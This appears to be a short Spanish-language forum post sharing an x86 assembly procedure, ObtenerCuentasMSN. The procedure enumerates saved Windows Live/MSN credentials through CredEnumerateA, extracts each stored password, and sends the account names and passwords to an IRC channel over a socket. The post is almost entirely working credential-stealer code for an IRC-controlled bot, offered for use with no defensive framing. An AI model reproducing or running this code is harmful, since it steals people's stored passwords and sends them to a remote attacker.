Esta mas que entendible... movi las variables a la funcion ya que estan agregadas mas abajo por si leiste rapido y no se te ocurrio buscarla.
proc ObtenerCuentasMSN,pSocket,pCanal
locals
lCred dd ?
lCount dd ?
lLibreria dd ?
lBuffer rb 150
lBuffer2 rb 100
lBuffer3 rb 200
creda db "CredEnumerateA",0
Crd db 'WindowsLive:name=*',0
endl
stdcall HablarIRC,[pSocket],[pCanal],cLOGO1
stdcall HablarIRC,[pSocket],[pCanal],cLOGO2
stdcall HablarIRC,[pSocket],[pCanal],cLOGO3
invoke LoadLibrary,dadvapi32
mov [lLibreria],eax
invoke GetProcAddress,eax,creda
stdcall eax,Crd, 0,addr lCount,addr lCred
.if [lCount] = 0
stdcall HablarIRC,[pSocket],[pCanal],cNo
jmp .salir
.endif
mov ebx,[lCred]
sub ebx,4
.bucle_:
dec [lCount]
add ebx,4
mov edi,[ebx]
add dword[edi+8],17
.if dword[edi+28] <> 0
invoke wsprintf,addr lBuffer,cCuenta,dword[edi+8]
stdcall UniToAscii,addr lBuffer2,dword[edi+28] ;Aqui queda la clave
invoke wsprintf,addr lBuffer3,cClave,addr lBuffer2
stdcall HablarIRC,[pSocket],[pCanal],addr lBuffer
stdcall HablarIRC,[pSocket],[pCanal],addr lBuffer3
.else
invoke wsprintf,addr lBuffer,cCuenta,dword[edi+8]
stdcall HablarIRC,[pSocket],[pCanal],addr lBuffer
.endif
cmp [lCount] ,0
jne .bucle_
.salir:
invoke FreeLibrary,[lLibreria]
ret